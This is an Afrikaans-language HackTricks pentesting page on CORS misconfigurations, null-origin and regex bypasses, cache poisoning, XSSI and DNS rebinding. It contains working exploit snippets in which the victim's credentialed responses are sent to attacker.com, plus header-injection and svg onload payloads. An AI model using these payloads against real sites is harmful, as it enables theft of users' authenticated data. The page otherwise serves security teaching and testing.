# CORS - Misconfigurations & Bypass

<details>

<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>

<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## Wat is CORS?

Cross-Origin Resource Sharing (CORS) standaard **stel bedieners in staat om te bepaal wie toegang tot hul bates kan verkry** en **watter HTTP-aanvraagmetodes toegelaat is** vanaf eksterne bronne.

'n **selfde-oorsprong**-beleid vereis dat 'n **bediener wat 'n** bron aanvra en die bediener wat die **bron** huisves, dieselfde protokol (bv. `http://`), domeinnaam (bv. `internal-web.com`), en **poort** (bv. 80) deel. Onder hierdie beleid word slegs webbladsye van dieselfde domein en poort toegelaat om toegang tot die bates te verkry.

Die toepassing van die selfde-oorsprongbeleid in die konteks van `http://normal-website.com/example/example.html` word as volg geïllustreer:

| URL wat toegang verkry word                | Toegang toegelaat?                      |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/`      | Ja: Identiese skema, domein, en poort |
| `http://normal-website.com/example2/`     | Ja: Identiese skema, domein, en poort |
| `https://normal-website.com/example/`     | Nee: Verskillende skema en poort           |
| `http://en.normal-website.com/example/`   | Nee: Verskillende domein                    |
| `http://www.normal-website.com/example/`  | Nee: Verskillende domein                    |
| `http://normal-website.com:8080/example/` | Nee: Verskillende poort\*                    |

\*Internet Explorer ignoreer die poortnommer in die afdwinging van die selfde-oorsprongbeleid, wat toegang tot hierdie toelaat.

### `Access-Control-Allow-Origin`-Kop

Hierdie kop kan **meervoudige oorspronge**, 'n **`null`**-waarde, of 'n wildkaart **`*`** toelaat. Tog ondersteun **geen webblaaier meervoudige oorspronge** nie, en die gebruik van die wildkaart `*` is onderhewig aan **beperkings**. (Die wildkaart moet alleen gebruik word, en die gebruik daarvan saam met `Access-Control-Allow-Credentials: true` is nie toegelaat nie.)

Hierdie kop word **deur 'n bediener uitgereik** in reaksie op 'n kruis-domeinbronversoek wat deur 'n webwerf geïnisieer word, met die blaaier wat outomaties 'n `Origin`-kop byvoeg.

### `Access-Control-Allow-Credentials`-Kop

Standaard word kruis-oorsprongaanvrae sonder geloofsbriewe soos koekies of die Autorisasiekop gemaak. Tog kan 'n kruis-domeinbediener die lees van die antwoord toelaat wanneer geloofsbriewe gestuur word deur die `Access-Control-Allow-Credentials`-kop na **`true`** in te stel.

Indien dit na `true` ingestel word, sal die blaaier geloofsbriewe (koekies, outorisasiekoppe, of TLS-kliëntsertifikate) oordra.
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Voorafgaande versoek

### Begrip van Voorafgaande Versoeke in Kruis-Domein Kommunikasie

Wanneer 'n kruis-domein versoek geïnisieer word onder spesifieke toestande, soos die gebruik van 'n **nie-standaard HTTP-metode** (enigiets anders as HEAD, GET, POST), die invoering van nuwe **koppe**, of die gebruik van 'n spesiale **Inhouds-Tipe kopwaarde**, kan 'n voorafgaande versoek benodig word. Hierdie voorlopige versoek, wat die **`OPTIONS`** metode benut, dien om die bediener in te lig oor die voorgenome kruis-oorsprong versoek se bedoelings, insluitend die HTTP-metodes en koppe wat dit van plan is om te gebruik.

Die **Cross-Origin Resource Sharing (CORS)** protokol vereis hierdie voorafgaande kontrole om die uitvoerbaarheid van die versoekte kruis-oorsprong operasie te bepaal deur die toegelate metodes, koppe, en die betroubaarheid van die oorsprong te verifieer. Vir 'n gedetailleerde begrip van watter toestande die behoefte aan 'n voorafgaande versoek omseil, verwys na die omvattende gids wat deur [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) verskaf word.

Dit is noodsaaklik om daarop te let dat die **afwesigheid van 'n voorafgaande versoek nie die vereiste vir die respons om magtigingskoppe te dra, wegneem nie**. Sonder hierdie koppe is die webblaaier onvermoënd om die respons van die kruis-oorsprong versoek te verwerk.

Oorweeg die volgende illustrasie van 'n voorafgaande versoek wat gemik is op die gebruik van die `PUT` metode saam met 'n aangepaste kop genaamd `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
### Vertaling:

In respons kan die bediener dalk koppe terugstuur wat die aanvaarde metodes, die toegelate oorsprong, en ander CORS-beleidsbesonderhede aandui, soos hieronder getoon:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Hierdie kop aandui watter koppe tydens die werklike versoek gebruik kan word. Dit word deur die bediener ingestel om die toegelate koppe in versoek van die klient aan te dui.
* **`Access-Control-Expose-Headers`**: Deur hierdie kop, informeer die bediener die klient oor watter koppe blootgestel kan word as deel van die respons buite die eenvoudige responskoppe.
* **`Access-Control-Max-Age`**: Hierdie kop dui aan hoe lank die resultate van 'n voorafgaande versoek gekas kan word. Die bediener stel die maksimum tyd, in sekondes, wat die inligting wat deur 'n voorafgaande versoek teruggegee word, hergebruik kan word.
* **`Access-Control-Request-Headers`**: Gebruik in voorafgaande versoek, word hierdie kop deur die klient ingestel om die bediener in te lig oor watter HTTP-koppe die klient wil gebruik in die werklike versoek.
* **`Access-Control-Request-Method`**: Hierdie kop, ook gebruik in voorafgaande versoek, word deur die klient ingestel om aan te dui watter HTTP-metode in die werklike versoek gebruik sal word.
* **`Origin`**: Hierdie kop word outomaties deur die webblaaier ingestel en dui die oorsprong van die kruis-oorsprong versoek aan. Dit word deur die bediener gebruik om te beoordeel of die inkomende versoek toegelaat of geweier moet word op grond van die CORS-beleid.

Merk op dat gewoonlik (afhangende van die inhoudstipe en koppe wat ingestel is) in 'n **GET/POST-versoek geen voorafgaande versoek gestuur word** (die versoek word **direk** gestuur), maar as jy die **koppe/liggaam van die respons wil benader**, moet dit 'n _Access-Control-Allow-Origin_ kop bevat wat dit toelaat.\
**Daarom beskerm CORS nie teen CSRF nie (maar dit kan nuttig wees).**

### **Voorafgaande versoek vir plaaslike netwerkversoeke**

1. **`Access-Control-Request-Local-Network`**: Hierdie kop is ingesluit in die versoek van die klient om aan te dui dat die navraag op 'n plaaslike netwerkbron gemik is. Dit dien as 'n merker om die bediener in te lig dat die versoek uit die plaaslike netwerk afkomstig is.
2. **`Access-Control-Allow-Local-Network`**: In reaksie gebruik bedieners hierdie kop om te kommunikeer dat die versoekte bron toegelaat word om gedeel te word met entiteite buite die plaaslike netwerk. Dit dien as 'n groen lig vir die deel van bronne oor verskillende netwerkgrense, wat beheerde toegang verseker terwyl sekuriteitsprotokolle gehandhaaf word.

'n **geldige respons wat die plaaslike netwerkversoek toelaat** moet ook die kop `Access-Controls-Allow-Local_network: true` in die respons hê:
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
Let wel dat die linux **0.0.0.0** IP werk om hierdie vereistes te **omseil** om toegang tot die plaaslike gasheer te verkry, aangesien daardie IP-adres nie as "plaaslik" beskou word nie.

Dit is ook moontlik om die vereistes vir die **Plaaslike Netwerk te omseil** as jy die **openbare IP-adres van 'n plaaslike eindpunt** gebruik (soos die openbare IP van die router). Want in verskeie gevalle, selfs as die **openbare IP** benader word, as dit **vanaf die plaaslike netwerk** is, sal toegang verleen word.
{% endhint %}

## Uitbuitbare verkeerde konfigurasies

Daar is waargeneem dat die instelling van `Access-Control-Allow-Credentials` na **`true`** 'n voorvereiste is vir die meeste **werklike aanvalle**. Hierdie instelling maak dit vir die webblaaier moontlik om geloofsbriewe te stuur en die antwoord te lees, wat die aanval se doeltreffendheid verbeter. Sonder dit, verminder die voordeel van die maak van 'n versoek deur 'n webblaaier oor om dit self te doen, aangesien dit onprakties word om 'n gebruiker se koekies te benut.

### Uitsondering: Uitbuiting van Netwerklokasie as Verifikasie

'n Uitsondering bestaan waar die slagoffer se netwerklokasie as 'n vorm van verifikasie optree. Dit maak dit moontlik vir die slagoffer se webblaaier om as 'n mandaat te dien, wat IP-gebaseerde verifikasie omseil om toegang tot intranet-toepassings te verkry. Hierdie metode deel ooreenkomste in impak met DNS-herbinding, maar is makliker om uit te buit.

### Weerspieëling van `Origin` in `Access-Control-Allow-Origin`

Die werklike scenario waar die waarde van die `Origin`-kop in `Access-Control-Allow-Origin` weerspieël word, is teoreties onwaarskynlik as gevolg van beperkings op die kombineer van hierdie koppe. Nietemin kan ontwikkelaars wat CORS vir verskeie URL's wil aktiveer, moontlik die `Access-Control-Allow-Origin`-kop dinamies genereer deur die waarde van die `Origin`-kop te kopieer. Hierdie benadering kan kwesbaarhede inbring, veral wanneer 'n aanvaller 'n domein gebruik met 'n naam wat ontwerp is om legitiem te lyk, en sodoende die valideringslogika te mislei.
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### Uitbuiting van die `null` Oorsprong

Die `null` oorsprong, gespesifiseer vir situasies soos aanstuurders of plaaslike HTML-lêers, het 'n unieke posisie. Sommige toepassings plaas hierdie oorsprong op 'n witlys om plaaslike ontwikkeling te fasiliteer, wat per ongeluk enige webwerf toelaat om 'n `null` oorsprong na te boots deur 'n sandboks-iframe, wat sodoende CORS-beperkings omseil.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Gewone Uitdrukking Bypass Tegnieke

Wanneer 'n domein witlys teenkom, is dit noodsaaklik om te toets vir omseilingsgeleenthede, soos die aanhegting van die aanvaller se domein aan 'n witgelyste domein of die uitbuiting van subdomein-oorneembaarheidskwesbaarhede. Daarbenewens mag gewone uitdrukkings wat vir domeinvalidering gebruik word, subtiliteite in domeinnaamkonvensies oorsien, wat verdere omseilingsgeleenthede bied.

### Gevorderde Gewone Uitdrukking Bypasses

Regex-patrone fokus tipies op alfanumeriese, punt (.), en koppelteken (-) karakters, waarby ander moontlikhede verwaarloos word. Byvoorbeeld, 'n domeinnaam wat geskep is om karakters in te sluit wat deur webblaaier en regex-patrone anders geïnterpreteer word, kan sekuriteitskontroles omseil. Safari, Chrome, en Firefox se hantering van onderstreepkarakters in subdomeine illustreer hoe sulke teenstrydighede benut kan word om domeinvalideringslogika te omseil.

**Vir meer inligting en instellings van hierdie omseilingstoets:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **en** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)

### Vanaf XSS binne 'n subdomein

Ontwikkelaars implementeer dikwels verdedigingsmeganismes om teen CORS-uitbuiting te beskerm deur domeine wat toegelaat word om inligting aan te vra, te witlys. Ten spyte van hierdie voorbehoud is die stelsel se sekuriteit nie waterdig nie. Die teenwoordigheid van selfs 'n enkele kwesbare subdomein binne die witgelyste domeine kan die deur oopmaak vir CORS-uitbuiting deur ander kwesbaarhede, soos XSS (Cross-Site Scripting).

Om te illustreer, oorweeg die scenario waar 'n domein, `requester.com`, witgelys is om hulpbronne van 'n ander domein, `provider.com`, te benader. Die bedienerkant-konfigurasie kan iets soos dit lyk:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
In hierdie opstelling word toegang toegelaat vir alle subdomeine van `requester.com`. Indien 'n subdomein, byvoorbeeld `sub.requester.com`, gekompromiteer word met 'n XSS kwesbaarheid, kan 'n aanvaller hierdie swakheid benut. 'n Aanvaller met toegang tot `sub.requester.com` kan byvoorbeeld die XSS kwesbaarheid uitbuit om CORS beleide te omseil en sodoende kwaadwillig toegang verkry tot bronne op `provider.com`.

### **Bedienerkant-kasvergiftiging**

[**Van hierdie navorsing**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

Dit is moontlik dat deur bedienerkant-kasvergiftiging te benut deur middel van HTTP-kopinspuiting, 'n gestoorde Cross-Site Scripting (XSS) kwesbaarheid geïnduseer kan word. Hierdie scenario ontvou wanneer 'n aansoek versuim om die `Origin`-kop vir onwettige karakters te saniteer, wat 'n kwesbaarheid skep veral vir Internet Explorer en Edge-gebruikers. Hierdie webblaaier behandel (0x0d) as 'n legitieme HTTP-kopafsluiter, wat lei tot HTTP-kopinspuitingskwesbaarhede.

Oorweeg die volgende versoek waar die `Origin`-kop gemanipuleer word:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer en Edge interpreteer die respons as:
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Terwyl dit nie prakties is om hierdie kwesbaarheid direk te benut deur 'n webblaaier 'n verkeerde kop te laat stuur nie, kan 'n geskepte versoek handmatig gegenereer word met behulp van gereedskap soos Burp Suite. Hierdie metode kan lei tot 'n bedienerkant-kas wat die antwoord stoor en dit onbedoeld aan ander dien. Die geskepte lading is daarop gemik om die karakterset van die bladsy te verander na UTF-7, 'n karakterenkodering wat dikwels geassosieer word met XSS-kwesbaarhede weens sy vermoë om karakters op 'n manier te enkode wat as skripsie in sekere kontekste uitgevoer kan word.

Vir verdere lees oor gestoorde XSS-kwesbaarhede, sien [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).

**Nota**: Die benutting van HTTP-kopinspuitingskwesbaarhede, veral deur bedienerkant-kasvergiftiging, beklemtoon die kritieke belang van die validering en sanitisering van alle gebruikersgelewerde insette, insluitend HTTP-koppe. Maak altyd gebruik van 'n robuuste sekuriteitsmodel wat insetvalidering insluit om sulke kwesbaarhede te voorkom.

### **Kliëntkant-kasvergiftiging**

[**Van hierdie navorsing**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

In hierdie scenario word 'n instansie van 'n webbladsy waargeneem wat die inhoud van 'n aangepaste HTTP-kop sonder behoorlike enkodering weerspieël. Spesifiek weerspieël die webbladsy die inhoud wat ingesluit is in 'n `X-User-id`-kop, wat kwaadwillige JavaScript kan insluit, soos gedemonstreer deur die voorbeeld waar die kop 'n SVG-beeldtag bevat wat ontwerp is om JavaScript-kode by die laai uit te voer.

Cross-Origin Resource Sharing (CORS) beleide maak die stuur van aangepaste koppe moontlik. Sonder dat die antwoord direk deur die blaaier weergegee word as gevolg van CORS-beperkings, mag die nut van so 'n inspuiting beperk lyk. Die kritieke punt ontstaan wanneer die blaaier se kasgedrag oorweeg word. As die `Vary: Origin`-kop nie gespesifiseer word nie, word dit moontlik vir die kwaadwillige antwoord om deur die blaaier gestoor te word. Gevolglik kan hierdie gestoorde antwoord direk weergegee word wanneer na die URL genavigeer word, wat die behoefte aan direkte weergawe tydens die aanvanklike versoek omseil. Hierdie meganisme verbeter die betroubaarheid van die aanval deur kliëntkant-kasgebruik te maak.

Om hierdie aanval te illustreer, word 'n JavaScript-voorbeeld verskaf wat ontwerp is om uitgevoer te word in die omgewing van 'n webbladsy, soos deur 'n JSFiddle. Hierdie skripsie voer 'n eenvoudige aksie uit: dit stuur 'n versoek na 'n gespesifiseerde URL met 'n aangepaste kop wat die kwaadwillige JavaScript bevat. Na 'n suksesvolle versoekpoging, probeer dit na die teiken-URL navigeer, moontlik om die uitvoering van die ingeslote skripsie te veroorsaak as die antwoord gestoor is sonder behoorlike hantering van die `Vary: Origin`-kop.

Hier is 'n opgesomde uiteensetting van die gebruikte JavaScript om hierdie aanval uit te voer:
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Oorsteek

### XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, ook bekend as Cross-Site Script Inclusion, is 'n tipe kwesbaarheid wat voordeel trek uit die feit dat die Same Origin Policy (SOP) nie van toepassing is wanneer hulpbronne ingesluit word deur die skripsie-etiket nie. Dit is omdat skripte vanaf verskillende domeine ingesluit moet kan word. Hierdie kwesbaarheid maak dit vir 'n aanvaller moontlik om enige inhoud wat ingesluit is deur die skripsie-etiket, te benader en te lees.

Hierdie kwesbaarheid word veral betekenisvol wanneer dit kom by dinamiese JavaScript of JSONP (JSON met Padding), veral wanneer omgewingsgesaginligting soos koekies gebruik word vir verifikasie. Wanneer 'n hulpbron vanaf 'n ander gasheer aangevra word, word die koekies ingesluit, wat dit vir die aanvaller toeganklik maak.

Om hierdie kwesbaarheid beter te verstaan en te verminder, kan jy die BurpSuite-inprop wat beskikbaar is by [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) gebruik. Hierdie inprop kan help om potensiële XSSI-kwesbaarhede in jou webtoepassings te identifiseer en aan te spreek.

[**Lees meer oor die verskillende tipes XSSI en hoe om dit te benut hier.**](xssi-cross-site-script-inclusion.md)

Probeer om 'n **`callback`** **parameter** in die versoek by te voeg. Dalk is die bladsy voorberei om die data as JSONP te stuur. In daardie geval sal die bladsy die data terugstuur met `Content-Type: application/javascript`, wat die CORS-beleid sal oorsteek.

![](<../.gitbook/assets/image (853).png>)

### Maklike (nuttelose?) oorsteek

Een manier om die `Access-Control-Allow-Origin`-beperking te oorsteek, is deur 'n webtoepassing te versoek om namens jou 'n versoek te maak en die respons terug te stuur. Tog sal die verifikasie van die finale slagoffer nie gestuur word nie, aangesien die versoek na 'n ander domein gemaak word.

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Hierdie instrument bied 'n proksi wat jou versoek saam met sy koppeur deurstuur, terwyl dit ook die Oorsprong-kopieerder vervals om ooreen te stem met die versoekte domein. Dit oorsteek effektief die CORS-beleid. Hier is 'n voorbeeld van die gebruik met XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Hierdie instrument bied 'n alternatiewe benadering tot die proksie van versoek. In plaas daarvan om jou versoek soos dit is deur te gee, maak die bediener sy eie versoek met die gespesifiseerde parameters.

### Iframe + Popup Oorsteek

Jy kan **CORS-toetse oorsteek** soos `e.origin === window.origin` deur **'n iframe te skep** en **van daar af 'n nuwe venster oop te maak**. Meer inligting op die volgende bladsy:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### DNS Rebinding via TTL

DNS-rebinding via TTL is 'n tegniek wat gebruik word om sekere sekuriteitsmaatreëls te oorsteek deur DNS-rekords te manipuleer. So werk dit:

1. Die aanvaller skep 'n webbladsy en maak die slagoffer toegang daartoe.
2. Die aanvaller verander dan die DNS (IP) van hul eie domein om na die slagoffer se webbladsy te verwys.
3. Die slagoffer se blaaier stoor die DNS-antwoord, wat 'n TTL (Tyd om te leef) waarde kan hê wat aandui hoelank die DNS-rekord as geldig beskou moet word.
4. Wanneer die TTL verval, maak die slagoffer se blaaier 'n nuwe DNS-versoek, wat die aanvaller in staat stel om JavaScript-kode op die slagoffer se bladsy uit te voer.
5. Deur beheer oor die IP van die slagoffer te behou, kan die aanvaller inligting van die slagoffer versamel sonder om enige koekies na die slagofferbediener te stuur.

Dit is belangrik om daarop te let dat blaaier kasheringmeganismes het wat dalk onmiddellike misbruik van hierdie tegniek kan voorkom, selfs met lae TTL-waardes.

DNS-rebinding kan nuttig wees om eksplisiete IP-toetse wat deur die slagoffer uitgevoer word, te oorsteek of vir scenarios waar 'n gebruiker of bot vir 'n lang tydperk op dieselfde bladsy bly, wat die kashering laat verval.

As jy 'n vinnige manier nodig het om DNS-rebinding te misbruik, kan jy dienste soos [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gebruik.

Om jou eie DNS-rebindingbediener te hardloop, kan jy gereedskap soos **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gebruik. Dit behels die blootstelling van jou plaaslike poort 53/udp, die skep van 'n A-rekord wat daarnaar verwys (bv. ns.example.com), en die skep van 'n NS-rekord wat na die vroeër geskepte A-subdomein verwys (bv. ns.example.com). Enige subdomein van die ns.example.com-subdomein sal dan deur jou gasheer opgelos word.

Jy kan ook 'n openbare bediener wat loop by [http://rebind.it/singularity.html](http://rebind.it/singularity.html) verken vir verdere begrip en eksperimentasie.

### DNS Rebinding via **DNS Cache Flooding**

DNS-rebinding via DNS-kasheringsoorstroming is 'n ander tegniek wat gebruik word om die kasheringmeganisme van blaaier te oorsteek en 'n tweede DNS-versoek af te dwing. So werk dit:

1. Aanvanklik, wanneer die slagoffer 'n DNS-versoek maak, word daar met die aanvaller se IP-adres geantwoord.
2. Om die kasheringverdediging te oorsteek, maak die aanvaller gebruik van 'n dienswerker. Die dienswerker oorstroom die DNS-kas, wat effektief die gekasheerde aanvallerbediener se naam verwyder.
3. Wanneer die slagoffer se blaaier 'n tweede DNS-versoek maak, word daar nou met die IP-adres 127.0.0.1 geantwoord, wat tipies na die plaaslike gasheer verwys.

Deur die DNS-kas met die dienswerker te oorstroom, kan die aanvaller die DNS-oplossingsproses manipuleer en die slagoffer se blaaier dwing om 'n tweede versoek te maak, wat hierdie keer na die aanvaller se gewenste IP-adres oplos.

### DNS Rebinding via **Kas**

'n Ander manier om die kasheringverdediging te oorsteek, is deur gebruik te maak van verskeie IP-adresse vir dieselfde subdomein in die DNS-leweransier. So werk dit:

1. Die aanvaller stel twee A-rekords (of 'n enkele A-rekord met twee IP's) op vir dieselfde subdomein in die DNS-leweransier.
2. Wanneer 'n blaaier hierdie rekords nagaan, ontvang dit beide IP-adresse.
3. As die blaaier besluit om eers die aanvaller se IP-adres te gebruik, kan die aanvaller 'n lading dien wat HTTP-versoeke na dieselfde domein uitvoer.
4. Tog, sodra die aanvaller die slagoffer se IP-adres verkry, hou hulle op om op die slagoffer se blaaier te reageer.
5. Die slagoffer se blaaier, nadat dit besef dat die domein nie reageer nie, gaan voort om die tweede gegee IP-adres te gebruik.
6. Deur die tweede IP-adres te benader, oorsteek die blaaier die Same Origin Policy (SOP), wat die aanvaller in staat stel om hierdie te misbruik en inligting van die slagoffer te versamel en uit te voer.

Hierdie tegniek maak gebruik van die gedrag van blaaier wanneer verskeie IP-adresse vir 'n domein verskaf word. Deur die antwoorde strategies te beheer en die blaaier se keuse van IP-adres te manipuleer, kan 'n aanvaller die SOP uitbuit en inligting van die slagoffer toegang gee.

{% hint style="warning" %}
Let daarop dat om toegang tot die plaaslike gasheer te verkry, jy moet probeer om **127.0.0.1** in Windows en **0.0.0.0** in Linux te herbind.\
Verskaffers soos godaddy of cloudflare het my nie toegelaat om die IP 0.0.0.0 te gebruik nie, maar AWS route53 het my toegelaat om een A-rekord met 2 IP's te skep waarvan een "0.0.0.0" is.

<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
{% endhint %}

Vir meer inligting kan jy [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) raadpleeg.
### Ander algemene omleidings

* As **interne IP's nie toegelaat word nie**, kan hulle **vergeet om 0.0.0.0 te verbied** (werk op Linux en Mac)
* As **interne IP's nie toegelaat word nie**, reageer met 'n **CNAME** na **localhost** (werk op Linux en Mac)
* As **interne IP's nie toegelaat word nie** as DNS-antwoorde, kan jy reageer met **CNAME's na interne dienste** soos www.corporate.internal.

### DNS Herbinding Gewapen

Meer inligting oor die vorige omleidings tegnieke en hoe om die volgende instrument te gebruik kan gevind word in die praatjie [Gerald Doussot - Stand van DNS Herbindingsaanvalle & Singularity of Origin - DEF CON 27 Konferensie](https://www.youtube.com/watch?v=y9-0lICNjOQ).

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n instrument om [DNS herbindingsaanvalle](https://en.wikipedia.org/wiki/DNS\_rebinding) uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam te herbind na die teikenrekenaar se IP-adres en om aanvalspakkette te dien om kwesbare sagteware op die teikenrekenaar te misbruik.

### Werklike Beskerming teen DNS Herbinding

* Gebruik TLS in interne dienste
* Versoek verifikasie om data te benader
* Valideer die Host-kop
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Voorstel om altyd 'n voorafgaande versoek te stuur wanneer openbare bedieners interne bedieners wil benader

## **Hulpmiddels**

**Fuzz moontlike wanopsetlike konfigurasies in CORS-beleide**

* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
* [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)

## Verwysings

* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)


<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

<details>

<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
